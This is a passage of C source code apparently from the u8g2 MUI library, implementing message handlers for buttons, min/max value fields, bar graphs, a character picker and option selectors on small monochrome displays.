Selection: Text + Frame\n    Cursor Selection: Inverted text + Frame\n\n  User interface field list (muif):\n    flags: MUIF_CFLAG_IS_CURSOR_SELECTABLE\n    data: not used\n\n  Field definition string (fds):\n    xy: Left position of the text (required)\n    arg: Form numner (required)\n    text: Button label\n    \n*/\nuint8_t mui_u8g2_btn_goto_wm_fi(mui_t *ui, uint8_t msg)\n{\n  switch(msg)\n  {\n    case MUIF_MSG_DRAW:\n      mui_u8g2_draw_button_utf(ui, U8G2_BTN_HCENTER |mui_u8g2_get_fi_flags(ui), 0, 1, MUI_U8G2_V_PADDING, ui->text);\n      break;\n    case MUIF_MSG_FORM_START:\n      break;\n    case MUIF_MSG_FORM_END:\n      break;\n    case MUIF_MSG_CURSOR_ENTER:\n      break;\n    case MUIF_MSG_CURSOR_SELECT:\n    case MUIF_MSG_VALUE_INCREMENT:\n    case MUIF_MSG_VALUE_DECREMENT:\n      //return mui_GotoForm(ui, ui->arg, 0);\n      return mui_GotoFormAutoCursorPosition(ui, ui->arg);\n    case MUIF_MSG_CURSOR_LEAVE:\n      break;\n    case MUIF_MSG_TOUCH_DOWN:\n      break;\n    case MUIF_MSG_TOUCH_UP:\n      break;    \n    \n  }\n  return 0;\n}\n\nuint8_t mui_u8g2_btn_goto_wm_if(mui_t *ui, uint8_t msg)\n{\n  switch(msg)\n  {\n    case MUIF_MSG_DRAW:\n      mui_u8g2_draw_button_utf(ui, U8G2_BTN_HCENTER |mui_u8g2_get_if_flags(ui), 0, 1, MUI_U8G2_V_PADDING, ui->text);\n      break;\n    case MUIF_MSG_FORM_START:\n      break;\n    case MUIF_MSG_FORM_END:\n      break;\n    case MUIF_MSG_CURSOR_ENTER:\n      break;\n    case MUIF_MSG_CURSOR_SELECT:\n    case MUIF_MSG_VALUE_INCREMENT:\n    case MUIF_MSG_VALUE_DECREMENT:\n      //return mui_GotoForm(ui, ui->arg, 0);\n      return mui_GotoFormAutoCursorPosition(ui, ui->arg);\n   case MUIF_MSG_CURSOR_LEAVE:\n      break;\n    case MUIF_MSG_TOUCH_DOWN:\n      break;\n    case MUIF_MSG_TOUCH_UP:\n      break;    \n    \n  }\n  return 0;\n}\n\nuint8_t mui_u8g2_btn_goto_w2_fi(mui_t *ui, uint8_t msg)\n{\n  u8g2_t *u8g2 = mui_get_U8g2(ui);\n  switch(msg)\n  {\n    case MUIF_MSG_DRAW:\n      mui_u8g2_draw_button_utf(ui, U8G2_BTN_HCENTER | mui_u8g2_get_fi_flags(ui), u8g2_GetDisplayWidth(u8g2)/2 - 10, 0, MUI_U8G2_V_PADDING, ui->text);\n      break;\n    case MUIF_MSG_FORM_START:\n      break;\n    case MUIF_MSG_FORM_END:\n      break;\n    case MUIF_MSG_CURSOR_ENTER:\n      break;\n    case MUIF_MSG_CURSOR_SELECT:\n    case MUIF_MSG_VALUE_INCREMENT:\n    case MUIF_MSG_VALUE_DECREMENT:\n      //return mui_GotoForm(ui, ui->arg, 0);\n      return mui_GotoFormAutoCursorPosition(ui, ui->arg);\n    case MUIF_MSG_CURSOR_LEAVE:\n      break;\n    case MUIF_MSG_TOUCH_DOWN:\n      break;\n    case MUIF_MSG_TOUCH_UP:\n      break;    \n  }\n  return 0;\n}\n\nuint8_t mui_u8g2_btn_goto_w2_if(mui_t *ui, uint8_t msg)\n{\n  u8g2_t *u8g2 = mui_get_U8g2(ui);\n  switch(msg)\n  {\n    case MUIF_MSG_DRAW:\n      mui_u8g2_draw_button_utf(ui, U8G2_BTN_HCENTER | mui_u8g2_get_if_flags(ui), u8g2_GetDisplayWidth(u8g2)/2 - 10, 0, MUI_U8G2_V_PADDING, ui->text);\n      break;\n    case MUIF_MSG_FORM_START:\n      break;\n    case MUIF_MSG_FORM_END:\n      break;\n    case MUIF_MSG_CURSOR_ENTER:\n      break;\n    case MUIF_MSG_CURSOR_SELECT:\n    case MUIF_MSG_VALUE_INCREMENT:\n    case MUIF_MSG_VALUE_DECREMENT:\n      //return mui_GotoForm(ui, ui->arg, 0);\n      return mui_GotoFormAutoCursorPosition(ui, ui->arg);\n    case MUIF_MSG_CURSOR_LEAVE:\n      break;\n    case MUIF_MSG_TOUCH_DOWN:\n      break;\n    case MUIF_MSG_TOUCH_UP:\n      break;    \n  }\n  return 0;\n}\n\n/*\n\n  uint8_t mui_u8g2_btn_exit_wm_fi(mui_t *ui, uint8_t msg)\n\n  Description:\n    A button with size equal to button text plus one pixel padding\n    The button has a one pixel frame around the text.\n    If selected, then the menu system will be closed.\n    The arg value will be stored at the specified data location (if not NULL).\n    The arg value can be used as an exit value of the button.\n    \n  Message Handling: DRAW, CURSOR_SELECT\n\n  Style\n    No Selection: Text + Frame\n    Cursor Selection: Inverted text + Frame\n\n  User interface field list (muif):\n    flags: MUIF_CFLAG_IS_CURSOR_SELECTABLE\n    data: Optionally points to uint8_t value which will receive the arg value of the field.\n\n  Field definition string (fds):\n    xy: Left position of the text (required)\n    arg: Value which will be stored at *data (optional)\n    text: Button label\n    \n*/\nuint8_t mui_u8g2_btn_exit_wm_fi(mui_t *ui, uint8_t msg)\n{\n  switch(msg)\n  {\n    case MUIF_MSG_DRAW:\n      mui_u8g2_draw_button_utf(ui, U8G2_BTN_HCENTER |mui_u8g2_get_fi_flags(ui), 0, 1, MUI_U8G2_V_PADDING, ui->text);\n      break;\n    case MUIF_MSG_FORM_START:\n      break;\n    case MUIF_MSG_FORM_END:\n      break;\n    case MUIF_MSG_CURSOR_ENTER:\n      break;\n    case MUIF_MSG_CURSOR_SELECT:\n    case MUIF_MSG_VALUE_INCREMENT:\n    case MUIF_MSG_VALUE_DECREMENT:\n      {\n        uint8_t *value = (uint8_t *)muif_get_data(ui->uif);\n        if ( value != NULL )\n          *value = ui->arg;\n      }\n      mui_SaveForm(ui);          // store the current form and position so that the child can jump back\n      mui_LeaveForm(ui);\n      return 1;\n    case MUIF_MSG_CURSOR_LEAVE:\n      break;\n    case MUIF_MSG_TOUCH_DOWN:\n      break;\n    case MUIF_MSG_TOUCH_UP:\n      break;    \n  }\n  return 0;\n}\n\n\nuint8_t mui_u8g2_btn_goto_w1_pi(mui_t *ui, uint8_t msg)\n{\n  u8g2_t *u8g2 = mui_get_U8g2(ui);\n  switch(msg)\n  {\n    case MUIF_MSG_DRAW:\n      mui_u8g2_draw_button_pi(ui, u8g2_GetDisplayWidth(u8g2)-mui_get_x(ui)*2, mui_get_x(ui) , ui->text);\n      //mui_u8g2_draw_button_utf(ui, mui_u8g2_get_pi_flags(ui), u8g2_GetDisplayWidth(u8g2)-mui_get_x(ui)*2, mui_get_x(ui) , MUI_U8G2_V_PADDING, ui->text);\n      break;\n    case MUIF_MSG_FORM_START:\n      break;\n    case MUIF_MSG_FORM_END:\n      break;\n    case MUIF_MSG_CURSOR_ENTER:\n      break;\n    case MUIF_MSG_CURSOR_SELECT:\n    case MUIF_MSG_VALUE_INCREMENT:\n    case MUIF_MSG_VALUE_DECREMENT:\n      //return mui_GotoForm(ui, ui->arg, 0);\n      return mui_GotoFormAutoCursorPosition(ui, ui->arg);\n    case MUIF_MSG_CURSOR_LEAVE:\n      break;\n    case MUIF_MSG_TOUCH_DOWN:\n      break;\n    case MUIF_MSG_TOUCH_UP:\n      break;    \n  }\n  return 0;\n}\n\n\nuint8_t mui_u8g2_btn_goto_w1_fi(mui_t *ui, uint8_t msg)\n{\n  u8g2_t *u8g2 = mui_get_U8g2(ui);\n  switch(msg)\n  {\n    case MUIF_MSG_DRAW:\n      mui_u8g2_draw_button_fi(ui, u8g2_GetDisplayWidth(u8g2)-mui_get_x(ui)*2, mui_get_x(ui)-1 , ui->text);\n      //mui_u8g2_draw_button_utf(ui, mui_u8g2_get_pi_flags(ui), u8g2_GetDisplayWidth(u8g2)-mui_get_x(ui)*2, mui_get_x(ui) , MUI_U8G2_V_PADDING, ui->text);\n      break;\n    case MUIF_MSG_FORM_START:\n      break;\n    case MUIF_MSG_FORM_END:\n      break;\n    case MUIF_MSG_CURSOR_ENTER:\n      break;\n    case MUIF_MSG_CURSOR_SELECT:\n    case MUIF_MSG_VALUE_INCREMENT:\n    case MUIF_MSG_VALUE_DECREMENT:\n      //return mui_GotoForm(ui, ui->arg, 0);\n      return mui_GotoFormAutoCursorPosition(ui, ui->arg);\n    case MUIF_MSG_CURSOR_LEAVE:\n      break;\n    case MUIF_MSG_TOUCH_DOWN:\n      break;\n    case MUIF_MSG_TOUCH_UP:\n      break;    \n  }\n  return 0;\n}\n\n/*===============================================================================*/\n\nstatic void mui_u8g2_u8_vmm_draw_wm_pi(mui_t *ui) MUI_NOINLINE;\nstatic void mui_u8g2_u8_vmm_draw_wm_pi(mui_t *ui)\n{\n  u8g2_t *u8g2 = mui_get_U8g2(ui);\n  mui_u8g2_u8_min_max_t *vmm= (mui_u8g2_u8_min_max_t *)muif_get_data(ui->uif);\n  char buf[4] = \"999\";\n  char *s = buf;\n  uint8_t *value = mui_u8g2_u8mm_get_valptr(vmm);\n  uint8_t min = mui_u8g2_u8mm_get_min(vmm);\n  uint8_t max = mui_u8g2_u8mm_get_max(vmm);\n  uint8_t cnt = 3;\n  \n  if ( *value > max ) \n    *value = max;\n  if ( *value <= min )\n    *value = min;\n  if ( max < 100 )\n  {\n    s++;\n    cnt--;\n  }\n  if ( max < 10 )\n  {\n    s++;\n    cnt--;\n  }\n  //mui_u8g2_draw_button_utf(ui, mui_u8g2_get_pi_flags(ui), u8g2_GetStrWidth(u8g2, s)+1, 1, MUI_U8G2_V_PADDING, u8x8_u8toa(*value, cnt));\n  mui_u8g2_draw_button_pi(ui, u8g2_GetStrWidth(u8g2, s)+1, 1, u8x8_u8toa(*value, cnt));\n}\n\n\nuint8_t mui_u8g2_u8_min_max_wm_mse_pi(mui_t *ui, uint8_t msg)\n{\n  mui_u8g2_u8_min_max_t *vmm= (mui_u8g2_u8_min_max_t *)muif_get_data(ui->uif);\n  uint8_t *value = mui_u8g2_u8mm_get_valptr(vmm);\n  uint8_t min = mui_u8g2_u8mm_get_min(vmm);\n  uint8_t max = mui_u8g2_u8mm_get_max(vmm);\n  switch(msg)\n  {\n    case MUIF_MSG_DRAW:\n      mui_u8g2_u8_vmm_draw_wm_pi(ui);\n      break;\n    case MUIF_MSG_FORM_START:\n      break;\n    case MUIF_MSG_FORM_END:\n      break;\n    case MUIF_MSG_CURSOR_ENTER:\n      break;\n    case MUIF_MSG_CURSOR_SELECT:\n    case MUIF_MSG_VALUE_INCREMENT:\n      (*value)++;\n      if ( *value > max ) *value = min;\n      break;\n    case MUIF_MSG_VALUE_DECREMENT:\n      if ( *value > min ) (*value)--; else *value = max;\n      break;\n    case MUIF_MSG_CURSOR_LEAVE:\n      break;\n    case MUIF_MSG_TOUCH_DOWN:\n      break;\n    case MUIF_MSG_TOUCH_UP:\n      break;\n  }\n  return 0;\n}\n\nuint8_t mui_u8g2_u8_min_max_wm_mud_pi(mui_t *ui, uint8_t msg)\n{\n  mui_u8g2_u8_min_max_t *vmm= (mui_u8g2_u8_min_max_t *)muif_get_data(ui->uif);\n  uint8_t *value = mui_u8g2_u8mm_get_valptr(vmm);\n  uint8_t min = mui_u8g2_u8mm_get_min(vmm);\n  uint8_t max = mui_u8g2_u8mm_get_max(vmm);\n  switch(msg)\n  {\n    case MUIF_MSG_DRAW:\n      mui_u8g2_u8_vmm_draw_wm_pi(ui);\n      break;\n    case MUIF_MSG_FORM_START:\n      break;\n    case MUIF_MSG_FORM_END:\n      break;\n    case MUIF_MSG_CURSOR_ENTER:\n      break;\n    case MUIF_MSG_CURSOR_SELECT:\n    case MUIF_MSG_VALUE_INCREMENT:\n    case MUIF_MSG_VALUE_DECREMENT:\n     /* toggle between normal mode and capture next/prev mode */\n      ui->is_mud = !ui->is_mud;\n      break;\n    case MUIF_MSG_CURSOR_LEAVE:\n      break;\n    case MUIF_MSG_TOUCH_DOWN:\n      break;\n    case MUIF_MSG_TOUCH_UP:\n      break;\n    case MUIF_MSG_EVENT_NEXT:\n      if ( ui->is_mud )\n      {\n        (*value)++;\n        if ( *value > max )\n          *value = min;\n        return 1; \n      }\n      break;\n    case MUIF_MSG_EVENT_PREV:\n      if ( ui->is_mud )\n      {\n        if ( *value <= min )\n          *value = max;\n        else\n          (*value)--;\n        return 1;\n      }\n      break;\n  }\n  return 0;\n}\n\n\n\nstatic void mui_u8g2_u8_vmm_draw_wm_pf(mui_t *ui) MUI_NOINLINE;\nstatic void mui_u8g2_u8_vmm_draw_wm_pf(mui_t *ui)\n{\n  u8g2_t *u8g2 = mui_get_U8g2(ui);\n  mui_u8g2_u8_min_max_t *vmm= (mui_u8g2_u8_min_max_t *)muif_get_data(ui->uif);\n  char buf[4] = \"999\";\n  char *s = buf;\n  uint8_t *value = mui_u8g2_u8mm_get_valptr(vmm);\n  uint8_t min = mui_u8g2_u8mm_get_min(vmm);\n  uint8_t max = mui_u8g2_u8mm_get_max(vmm);\n  uint8_t cnt = 3;\n  \n  if ( *value > max ) \n    *value = max;\n  if ( *value <= min )\n    *value = min;\n  if ( max < 100 )\n  {\n    s++;\n    cnt--;\n  }\n  if ( max < 10 )\n  {\n    s++;\n    cnt--;\n  }\n  //mui_u8g2_draw_button_utf(ui, mui_u8g2_get_pi_flags(ui), u8g2_GetStrWidth(u8g2, s)+1, 1, MUI_U8G2_V_PADDING, u8x8_u8toa(*value, cnt));\n  mui_u8g2_draw_button_pf(ui, u8g2_GetStrWidth(u8g2, s)+1, 1, u8x8_u8toa(*value, cnt));\n}\n\n\nuint8_t mui_u8g2_u8_min_max_wm_mse_pf(mui_t *ui, uint8_t msg)\n{\n  mui_u8g2_u8_min_max_t *vmm= (mui_u8g2_u8_min_max_t *)muif_get_data(ui->uif);\n  uint8_t *value = mui_u8g2_u8mm_get_valptr(vmm);\n  uint8_t min = mui_u8g2_u8mm_get_min(vmm);\n  uint8_t max = mui_u8g2_u8mm_get_max(vmm);\n  switch(msg)\n  {\n    case MUIF_MSG_DRAW:\n      mui_u8g2_u8_vmm_draw_wm_pf(ui);\n      break;\n    case MUIF_MSG_FORM_START:\n      break;\n    case MUIF_MSG_FORM_END:\n      break;\n    case MUIF_MSG_CURSOR_ENTER:\n      break;\n    case MUIF_MSG_CURSOR_SELECT:\n    case MUIF_MSG_VALUE_INCREMENT:\n      (*value)++;\n      if ( *value > max ) *value = min;\n      break;\n    case MUIF_MSG_VALUE_DECREMENT:\n      if ( *value > min ) (*value)--; else *value = max;\n      break;\n    case MUIF_MSG_CURSOR_LEAVE:\n      break;\n    case MUIF_MSG_TOUCH_DOWN:\n      break;\n    case MUIF_MSG_TOUCH_UP:\n      break;\n  }\n  return 0;\n}\n\nuint8_t mui_u8g2_u8_min_max_wm_mud_pf(mui_t *ui, uint8_t msg)\n{\n  mui_u8g2_u8_min_max_t *vmm= (mui_u8g2_u8_min_max_t *)muif_get_data(ui->uif);\n  uint8_t *value = mui_u8g2_u8mm_get_valptr(vmm);\n  uint8_t min = mui_u8g2_u8mm_get_min(vmm);\n  uint8_t max = mui_u8g2_u8mm_get_max(vmm);\n  switch(msg)\n  {\n    case MUIF_MSG_DRAW:\n      mui_u8g2_u8_vmm_draw_wm_pf(ui);\n      break;\n    case MUIF_MSG_FORM_START:\n      break;\n    case MUIF_MSG_FORM_END:\n      break;\n    case MUIF_MSG_CURSOR_ENTER:\n      break;\n    case MUIF_MSG_CURSOR_SELECT:\n    case MUIF_MSG_VALUE_INCREMENT:\n    case MUIF_MSG_VALUE_DECREMENT:\n      /* toggle between normal mode and capture next/prev mode */\n      ui->is_mud = !ui->is_mud;\n      break;\n    case MUIF_MSG_CURSOR_LEAVE:\n      break;\n    case MUIF_MSG_TOUCH_DOWN:\n      break;\n    case MUIF_MSG_TOUCH_UP:\n      break;\n    case MUIF_MSG_EVENT_NEXT:\n      if ( ui->is_mud )\n      {\n        (*value)++;\n        if ( *value > max )\n          *value = min;\n        return 1;\n      }\n      break;\n    case MUIF_MSG_EVENT_PREV:\n      if ( ui->is_mud )\n      {\n        if ( *value <= min )\n          *value = max;\n        else\n          (*value)--;\n        return 1;\n      }\n      break;\n  }\n  return 0;\n}\n\n\n/*===============================================================================*/\n\nstatic uint8_t mui_u8g2_u8_bar_mse_msg_handler(mui_t *ui, uint8_t msg) MUI_NOINLINE;\nstatic uint8_t mui_u8g2_u8_bar_mse_msg_handler(mui_t *ui, uint8_t msg)\n{\n  mui_u8g2_u8_min_max_step_t *vmms= (mui_u8g2_u8_min_max_step_t *)muif_get_data(ui->uif);\n  uint8_t *value = mui_u8g2_u8mms_get_valptr(vmms);\n  uint8_t min = mui_u8g2_u8mms_get_min(vmms);\n  uint8_t max = mui_u8g2_u8mms_get_max(vmms);\n  uint8_t step = mui_u8g2_u8mms_get_step(vmms);\n  uint8_t flags = mui_u8g2_u8mms_get_flags(vmms);\n\n  switch(msg)\n  {\n    case MUIF_MSG_DRAW:\n      break;\n    case MUIF_MSG_FORM_START:\n      break;\n    case MUIF_MSG_FORM_END:\n      break;\n    case MUIF_MSG_CURSOR_ENTER:\n      break;\n    case MUIF_MSG_CURSOR_SELECT:\n    case MUIF_MSG_VALUE_INCREMENT:\n      (*value)+=step;\n      if ( *value > max )\n      {\n          if ( flags & MUI_MMS_NO_WRAP )\n            *value = max;\n          else\n            *value = min;\n      }\n      break;\n    case MUIF_MSG_VALUE_DECREMENT:\n      if ( *value >= min+step ) \n        (*value)-=step; \n      else \n      {\n          if ( flags & MUI_MMS_NO_WRAP )\n            *value = min;\n          else\n            *value = max;\n      }\n      break;\n    case MUIF_MSG_CURSOR_LEAVE:\n      break;\n    case MUIF_MSG_TOUCH_DOWN:\n      break;\n    case MUIF_MSG_TOUCH_UP:\n      break;\n  }\n  return 0;\n}\n\nstatic uint8_t mui_u8g2_u8_bar_mud_msg_handler(mui_t *ui, uint8_t msg) MUI_NOINLINE;\nstatic uint8_t mui_u8g2_u8_bar_mud_msg_handler(mui_t *ui, uint8_t msg)\n{\n  mui_u8g2_u8_min_max_step_t *vmms= (mui_u8g2_u8_min_max_step_t *)muif_get_data(ui->uif);\n  uint8_t *value = mui_u8g2_u8mms_get_valptr(vmms);\n  uint8_t min = mui_u8g2_u8mms_get_min(vmms);\n  uint8_t max = mui_u8g2_u8mms_get_max(vmms);\n  uint8_t step = mui_u8g2_u8mms_get_step(vmms);\n  uint8_t flags = mui_u8g2_u8mms_get_flags(vmms);\n  switch(msg)\n  {\n    case MUIF_MSG_DRAW:\n      break;\n    case MUIF_MSG_FORM_START:\n      break;\n    case MUIF_MSG_FORM_END:\n      break;\n    case MUIF_MSG_CURSOR_ENTER:\n      break;\n    case MUIF_MSG_CURSOR_SELECT:\n    case MUIF_MSG_VALUE_INCREMENT:\n    case MUIF_MSG_VALUE_DECREMENT:\n      /* toggle between normal mode and capture next/prev mode */\n      ui->is_mud = !ui->is_mud;\n      break;\n    case MUIF_MSG_CURSOR_LEAVE:\n      break;\n    case MUIF_MSG_TOUCH_DOWN:\n      break;\n    case MUIF_MSG_TOUCH_UP:\n      break;\n    case MUIF_MSG_EVENT_NEXT:\n      if ( ui->is_mud )\n      {\n        (*value)+=step;\n        if ( *value > max )\n        {\n          if ( flags & MUI_MMS_NO_WRAP )\n            *value = max;\n          else\n            *value = min;\n        }\n        return 1;\n      }\n      break;\n    case MUIF_MSG_EVENT_PREV:\n      if ( ui->is_mud )\n      {\n        if ( *value <= min || *value > max)\n        {\n          if ( flags & MUI_MMS_NO_WRAP )\n            *value = min;\n          else\n            *value = max;\n        }\n        else\n          (*value)-=step;\n        return 1;\n      }\n      break;\n  }\n  return 0;\n}\n\n\n\nstatic void mui_u8g2_u8_bar_draw_wm(mui_t *ui, uint8_t flags, uint8_t is_fixed_width) MUI_NOINLINE;\nstatic void mui_u8g2_u8_bar_draw_wm(mui_t *ui, uint8_t flags, uint8_t is_fixed_width)\n{\n  u8g2_t *u8g2 = mui_get_U8g2(ui);\n  mui_u8g2_u8_min_max_step_t *vmms= (mui_u8g2_u8_min_max_step_t *)muif_get_data(ui->uif);\n  char buf[4] = \"999\";\n  char *s = buf;\n  uint8_t *value = mui_u8g2_u8mms_get_valptr(vmms);\n  uint8_t min = mui_u8g2_u8mms_get_min(vmms);\n  uint8_t max = mui_u8g2_u8mms_get_max(vmms);\n  uint8_t scale = 0;\n  //uint8_t step = mui_u8g2_u8mms_get_step(vmms);\n  uint8_t mms_flags = mui_u8g2_u8mms_get_flags(vmms);\n  uint8_t cnt = 3;\n  uint8_t height = u8g2_GetAscent(u8g2);\n  int8_t backup_descent;\n  u8g2_uint_t x = mui_get_x(ui);\n  u8g2_uint_t w = 0;\n  u8g2_uint_t v;  // the calculated pixel value\n  \n  if ( mms_flags & MUI_MMS_2X_BAR )\n    scale |= 1;\n  if ( mms_flags & MUI_MMS_4X_BAR )\n    scale |= 2;\n  \n  if ( *value > max ) \n    *value = max;\n  if ( *value <= min )\n    *value = min;\n  if ( max < 100 )\n  {\n    s++;\n    cnt--;\n  }\n  if ( max < 10 )\n  {\n    s++;\n    cnt--;\n  }\n\n  if ( is_fixed_width == 0 )\n  {\n    w += (max<<scale);          // total width of the bar is derived from the max value\n    v = (*value)<<scale;          // pixel position for the current value\n  }\n  else\n  {\n    u8g2_uint_t width = mui_u8g2_u8mms_get_width(vmms);\n    \n    w += (width<<scale);          // total width of bar is defined by the width argument\n    v = ((u8g2_long_t)(*value) * (u8g2_long_t)(width<<scale)) / (u8g2_long_t)max;    // u8g2_long_t is int32_t if 16 bit mode is enabled\n  }\n\n  w += 2;                               // add gap for the frame\n  \n  u8g2_DrawFrame( u8g2, x, mui_get_y(ui)-height, w, height);\n  u8g2_DrawBox( u8g2, x+1, mui_get_y(ui)-height+1, v, height-2);\n  if ( mms_flags & MUI_MMS_SHOW_VALUE )\n  {\n    w += 2;\n    u8g2_DrawStr(u8g2,  x+w, mui_get_y(ui), u8x8_u8toa(*value, cnt) );\n    w += u8g2_GetStrWidth(u8g2, s);\n    w += 1; \n  }\n  backup_descent = u8g2->font_ref_descent;\n  u8g2->font_ref_descent = 0; /* hmm... that's a low level hack so that DrawButtonFrame ignores the descent value of the font */\n  u8g2_DrawButtonFrame(u8g2, x, mui_get_y(ui), flags, w, 1, 1);\n  u8g2->font_ref_descent = backup_descent;  \n}\n\n// #define MUIF_U8G2_U8_MIN_MAX_STEP(id, valptr, min, max, step, flags, muif)\n\nuint8_t mui_u8g2_u8_bar_wm_mse_pi(mui_t *ui, uint8_t msg)\n{\n  switch(msg)\n  {\n    case MUIF_MSG_DRAW:\n      mui_u8g2_u8_bar_draw_wm(ui, mui_u8g2_get_pi_flags(ui), 0);\n      break;\n    default:\n      return mui_u8g2_u8_bar_mse_msg_handler(ui, msg);\n  }\n  return 0;\n}\n\n\nuint8_t mui_u8g2_u8_bar_wm_mud_pi(mui_t *ui, uint8_t msg)\n{\n  switch(msg)\n  {\n    case MUIF_MSG_DRAW:\n      mui_u8g2_u8_bar_draw_wm(ui, mui_u8g2_get_pi_flags(ui), 0);\n      break;\n    default:\n      return mui_u8g2_u8_bar_mud_msg_handler(ui, msg);\n  }\n  return 0;\n}\n\nuint8_t mui_u8g2_u8_bar_wm_mse_pf(mui_t *ui, uint8_t msg)\n{\n  switch(msg)\n  {\n    case MUIF_MSG_DRAW:\n      mui_u8g2_u8_bar_draw_wm(ui, mui_u8g2_get_pf_flags(ui), 0);\n      break;\n    default:\n      return mui_u8g2_u8_bar_mse_msg_handler(ui, msg);\n  }\n  return 0;\n}\n\nuint8_t mui_u8g2_u8_bar_wm_mud_pf(mui_t *ui, uint8_t msg)\n{\n  switch(msg)\n  {\n    case MUIF_MSG_DRAW:\n      mui_u8g2_u8_bar_draw_wm(ui, mui_u8g2_get_pf_flags(ui), 0);\n      break;\n    default:\n      return mui_u8g2_u8_bar_mud_msg_handler(ui, msg);\n  }\n  return 0;\n}\n\n\n\n// #define MUIF_U8G2_U8_MIN_MAX_STEP_WIDTH(id, valptr, min, max, step, width, flags, muif) \n\n\nuint8_t mui_u8g2_u8_fixed_width_bar_wm_mse_pi(mui_t *ui, uint8_t msg)\n{\n  switch(msg)\n  {\n    case MUIF_MSG_DRAW:\n      mui_u8g2_u8_bar_draw_wm(ui, mui_u8g2_get_pi_flags(ui), 1);\n      break;\n    default:\n      return mui_u8g2_u8_bar_mse_msg_handler(ui, msg);\n  }\n  return 0;\n}\n\n\nuint8_t mui_u8g2_u8_fixed_width_bar_wm_mud_pi(mui_t *ui, uint8_t msg)\n{\n  switch(msg)\n  {\n    case MUIF_MSG_DRAW:\n      mui_u8g2_u8_bar_draw_wm(ui, mui_u8g2_get_pi_flags(ui), 1);\n      break;\n    default:\n      return mui_u8g2_u8_bar_mud_msg_handler(ui, msg);\n  }\n  return 0;\n}\n\nuint8_t mui_u8g2_u8_fixed_width_bar_wm_mse_pf(mui_t *ui, uint8_t msg)\n{\n  switch(msg)\n  {\n    case MUIF_MSG_DRAW:\n      mui_u8g2_u8_bar_draw_wm(ui, mui_u8g2_get_pf_flags(ui), 1);\n      break;\n    default:\n      return mui_u8g2_u8_bar_mse_msg_handler(ui, msg);\n  }\n  return 0;\n}\n\nuint8_t mui_u8g2_u8_fixed_width_bar_wm_mud_pf(mui_t *ui, uint8_t msg)\n{\n  switch(msg)\n  {\n    case MUIF_MSG_DRAW:\n      mui_u8g2_u8_bar_draw_wm(ui, mui_u8g2_get_pf_flags(ui), 1);\n      break;\n    default:\n      return mui_u8g2_u8_bar_mud_msg_handler(ui, msg);\n  }\n  return 0;\n}\n\n\n\n/*===============================================================================*/\n\nstatic uint8_t mui_is_valid_char(uint8_t c) MUI_NOINLINE;\nuint8_t mui_is_valid_char(uint8_t c)\n{\n  if ( c == 32 )\n    return 1;\n  if ( c >= 'A' && c <= 'Z' )\n    return 1;\n  if ( c >= 'a' && c <= 'z' )\n    return 1;\n  if ( c >= '0' && c <= '9' )\n    return 1;\n  return 0;\n}\n\n\n\nuint8_t mui_u8g2_u8_char_wm_mud_pi(mui_t *ui, uint8_t msg)\n{\n  //ui->dflags                          MUIF_DFLAG_IS_CURSOR_FOCUS       MUIF_DFLAG_IS_TOUCH_FOCUS\n  //mui_get_cflags(ui->uif)       MUIF_CFLAG_IS_CURSOR_SELECTABLE\n  u8g2_t *u8g2 = mui_get_U8g2(ui);\n  uint8_t *value = (uint8_t *)muif_get_data(ui->uif);\n  char buf[6];\n  switch(msg)\n  {\n    case MUIF_MSG_DRAW:\n      while( mui_is_valid_char(*value) == 0 )\n          (*value)++;\n      buf[0] = *value;\n      buf[1] = '\\0';\n      mui_u8g2_draw_button_pi(ui, u8g2_GetMaxCharWidth(u8g2), 1, buf);\n      //mui_u8g2_draw_button_utf(ui, mui_u8g2_get_pi_flags(ui), u8g2_GetMaxCharWidth(u8g2), 1, MUI_U8G2_V_PADDING, buf);\n      //u8g2_DrawButtonUTF8(u8g2, mui_get_x(ui), mui_get_y(ui), mui_u8g2_get_pi_flags(ui), u8g2_GetMaxCharWidth(u8g2), 1, MUI_U8G2_V_PADDING, buf);\n      break;\n    case MUIF_MSG_FORM_START:\n      break;\n    case MUIF_MSG_FORM_END:\n      break;\n    case MUIF_MSG_CURSOR_ENTER:\n      break;\n    case MUIF_MSG_CURSOR_SELECT:\n     case MUIF_MSG_VALUE_INCREMENT:\n    case MUIF_MSG_VALUE_DECREMENT:\n     /* toggle between normal mode and capture next/prev mode */\n       ui->is_mud = !ui->is_mud;\n     break;\n    case MUIF_MSG_CURSOR_LEAVE:\n      break;\n    case MUIF_MSG_TOUCH_DOWN:\n      break;\n    case MUIF_MSG_TOUCH_UP:\n      break;\n    case MUIF_MSG_EVENT_NEXT:\n      if ( ui->is_mud )\n      {\n        do {\n          (*value)++;\n        } while( mui_is_valid_char(*value) == 0 );\n        return 1;\n      }\n      break;\n    case MUIF_MSG_EVENT_PREV:\n      if ( ui->is_mud )\n      {\n        do {\n          (*value)--;\n        } while( mui_is_valid_char(*value) == 0 );\n        return 1;\n      }\n      break;\n  }\n  return 0;\n}\n\n\n\n\n\n/*\n\n  uint8_t mui_u8g2_u8_opt_line_wa_mse_pi(mui_t *ui, uint8_t msg)\n\n  Description:\n    Select one of several options. First option has value 0.\n    Only one option is visible.\n    The visible option is automatically the selected option.\n\n  Message Handling: DRAW, SELECT\n\n  Style\n    No Selection: Text only\n    Cursor Selection: Inverted text\n\n  User interface field list (muif):\n    flags: MUIF_CFLAG_IS_CURSOR_SELECTABLE\n    data: uint8_t *, pointer to a uint8_t variable, which contains the selected option \n\n  Field definition string (fds):\n    xy: Left position of the text (required)\n    arg: total width of the selectable option (optional), \n    text: '|' separated list of options\n    \n*/\nuint8_t mui_u8g2_u8_opt_line_wa_mse_pi(mui_t *ui, uint8_t msg)\n{\n  //u8g2_t *u8g2 = mui_get_U8g2(ui);\n  uint8_t *value = (uint8_t *)muif_get_data(ui->uif);\n  switch(msg)\n  {\n    case MUIF_MSG_DRAW:\n      if ( mui_fds_get_nth_token(ui, *value) == 0 )\n      {\n        *value = 0;\n        mui_fds_get_nth_token(ui, *value);\n      }\n      mui_u8g2_draw_button_pi(ui, ui->arg, 1, ui->text);\n      //mui_u8g2_draw_button_utf(ui, mui_u8g2_get_pi_flags(ui), ui->arg, 1, MUI_U8G2_V_PADDING, ui->text);\n      //u8g2_DrawButtonUTF8(u8g2, mui_get_x(ui), mui_get_y(ui), mui_u8g2_get_pi_flags(ui), ui->arg, 1, MUI_U8G2_V_PADDING, ui->text);\n      \n      break;\n    case MUIF_MSG_FORM_START:\n      break;\n    case MUIF_MSG_FORM_END:\n      break;\n    case MUIF_MSG_CURSOR_ENTER:\n      break;\n    case MUIF_MSG_CURSOR_SELECT:\n    case MUIF_MSG_VALUE_INCREMENT:\n      (*value)++;\n      if ( 